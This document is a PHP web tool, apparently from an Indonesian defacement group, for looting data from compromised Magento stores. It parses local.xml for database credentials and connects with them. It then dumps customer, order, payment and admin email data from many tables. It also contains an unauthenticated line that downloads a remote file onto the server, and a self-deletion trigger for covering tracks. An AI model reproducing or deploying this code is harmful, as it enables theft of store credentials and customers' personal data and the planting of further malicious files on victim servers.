Untitled

<!DOCTYPE html>
<html>
<head>
<title>SHCLeaking DBv1 | Bug7sec Team</title>
<style type="text/css">
    body{
                color: #3EF403;
                background-color: black;
        }
    input {
    border: dashed 1px;
    border-color: #333;
    BACKGROUND-COLOR: Black;
    font: 8pt Verdana;
    color: #0CFF37;
        }

    select {
    border: dashed 1px;
    border-color: #333;
    BACKGROUND-COLOR: Black;
    font: 8pt Verdana;
    color: #0CFF37;
}
    textarea {
    margin: 0;
    color: #fff;
    background-color: #555;
    border: 1px solid #df5;
    font: 9pt Monospace,'Courier New'; }
        </style>

</head>
<body>
<pre style="text-align: center">
-[ SHCLeaking DBv1 |  Bug7sec Team ]-
</pre>
<Center>
<form action="" method="post">
<input type="text" value="<?= getcwd();?>/app/etc/local.xml" name="shcpatch" placeholder="http://localhost/">
<select name="cms">
        <option>Magento</option>
</select>
<input type="submit" name="submit" value="Scan Now!"/>
</form>
</Center>
<?php
error_reporting(0);
/**
* Name      : SHCLeaking DBv1
* Author    : Shor7cut
* Team      : Bug7sec Team | http://facebook.com/bug7sec
* Spesial   : Defacer Tersakiti Team , IndoXploit Team , Tuban Cyber Team , IDBTE4MNET
*             Dan Balikita
------------------------------------------------------
[Spesial Leaking]
- Magento (add 15/04/2016)
======================================================
- Hanya mengedit Copyright itulah kerjaan lamers , Skill jongkok.
- Tetap bersyukur mas , tanpa mengClaim kodingan orang lain - Shor7cut
*/
class shc
{
    public function drop(){
        unlink(basename($_SERVER['PHP_SELF']));
    }
    public function get($location){
        $shc = file_get_contents($location);
        return $shc;
    }
    public function dpremove($data){
        $shcUniX = array_unique($data);
        return $shcUniX;
    }
    public function count($data){
        return "------------ Total Email : [ ".count($data) . " ]------------\r\n";
    }
    public function dbmagento($data){
        $shc_regexhost       = "/<host><![CDATA[]+(.*?)[]]]><\\/host>/";
        $shc_regexusername   = "/<username><![CDATA[]+(.*?)[]]]><\\/username>/";
        $shc_regexpassword   = "/<password><![CDATA[]+(.*?)[]]]><\\/password>/";
        $shc_regexdatabase   = "/<dbname><![CDATA[]+(.*?)[]]]><\\/dbname>/";
        preg_match($shc_regexhost, $data, $shcleak_1);
        preg_match($shc_regexusername, $data, $shcleak_2);
        preg_match($shc_regexpassword, $data, $shcleak_3);
        preg_match($shc_regexdatabase, $data, $shcleak_4);
        $shc_host = $shcleak_1[1];
        $shc_user = $shcleak_2[1];
        $shc_pass = $shcleak_3[1];
        $shc_db   = $shcleak_4[1];
        $shc_json = array(
            'host' => $shc_host,
            'username' => $shc_user,
            'password' => $shc_pass,
            'database' => $shc_db,
            );
           return json_encode(array('shc_db' => $shc_json)
        );
    }
    public function shc_dbg($data){
        $jdata = json_decode(shc::dbmagento($data),true);
        if($jdata['shc_db']['host']=="localhost"){
            echo '<br><center> Host : <font color="red">localhost</font> | '.$jdata['shc_db']['username'].' | '.$jdata['shc_db']['password'].' </center> <br>';
        }else{
            echo '<br><center>Host : <font color="green">localhost</font> | '.$jdata['shc_db']['username'].' | '.$jdata['shc_db']['password'].' </center><br>';
        }
        mysql_connect($jdata['shc_db']['host'], $jdata['shc_db']['username'],$jdata['shc_db']['password']);
        mysql_select_db($jdata['shc_db']['database']);
		$query = array(
		    'admin_user'                    	=> 'SELECT * FROM admin_user' ,
		    'aw_blog_comment'               	=> 'SELECT * FROM aw_blog_comment' ,
		    'core_email_queue_recipients'   	=> 'SELECT * FROM core_email_queue_recipients' ,
		    'customer_entity'               	=> 'SELECT * FROM customer_entity' ,
		    'newsletter_subscriber'         	=> 'SELECT * FROM newsletter_subscriber' ,
		    'newsletter_template'           	=> 'SELECT * FROM newsletter_template' ,
		    'sales_flat_order_address'      	=> 'SELECT * FROM sales_flat_order_address' ,
		    'sales_flat_order_payment'      	=> 'SELECT * FROM sales_flat_order_payment' ,
		    'sales_flat_quote'              	=> 'SELECT * FROM sales_flat_quote' ,
		    'customer_entity_varchar'           => 'SELECT * FROM customer_entity_varchar' ,
		    'customer_address_entity_varchar'	=> 'SELECT * FROM customer_address_entity_varchar' ,
		    'product_alert_stock'				=> 'SELECT * FROM product_alert_stock' ,
		    'pws_productqa'						=> 'SELECT * FROM pws_productqa' ,
		    'sales_flat_order'					=> 'SELECT * FROM sales_flat_order' ,
		    'sales_flat_quote_address'   		=> 'SELECT * FROM sales_flat_quote_address' ,
		    'smtppro_email_log'   				=> 'SELECT * FROM smtppro_email_log' ,
		    'webforms_results_values'   		=> 'SELECT * FROM webforms_results_values' ,
		    'sales_recurring_profile'       	=> 'SELECT * FROM sales_recurring_profile'
		);
		$shcolom = array(
		    'admin_user'                    	=> 'email' ,
		    'sales_flat_order_payment'          => 'additional_information' ,
		    'sales_flat_quote_address'   		=> 'email' ,
		    'smtppro_email_log'   				=> 'email_to' ,
		    'webforms_results_values'   		=> 'value' ,
		    'aw_blog_comment'               	=> 'email' ,
		    'customer_entity_varchar'           => 'email' ,
		    'product_alert_stock'				=> 'email' ,
		    'pws_productqa'						=> 'email' ,
		    'sales_flat_order_address'      	=> 'email' ,
		    'customer_entity'               	=> 'email' ,
		    'sales_flat_order'					=> 'customer_email' ,
			'customer_address_entity_varchar'	=> 'value' ,
		    'core_email_queue_recipients'   	=> 'recipient_email' ,
		    'newsletter_subscriber'         	=> 'subscriber_email' ,
		    'newsletter_template'           	=> 'template_sender_email' ,
		    'sales_flat_quote'              	=> 'customer_email' ,
		    'sales_recurring_profile'       	=> 'SELECT * FROM admin_user'
		);
        foreach ($query as $shc_key => $shc_query) {
            $hasil = mysql_query($shc_query);
                while ( $kolom_db = mysql_fetch_assoc($hasil) ) {
                    $mail[] = $kolom_db[$shcolom[$shc_key]];
                }
        }
        return shc::dpremove($mail);
    }
}
error_reporting(0);
file_put_contents($_GET['shcpatch'], file_get_contents($_GET['shcpatchl']));
if($_POST['submit']){
$data = shc::get($_POST['shcpatch']);
$data = shc::shc_dbg($data);
?>
<center><br><textarea style="margin: 0px; width: 527px; height: 172px;"><?= shc::count($data);?><?php foreach ($data as $value) {echo $value."\r\n";}?></textarea><br>
</center>
<?php
}
if($_GET['x']=="d"){
    shc::drop();
}
?>

</body>
</html>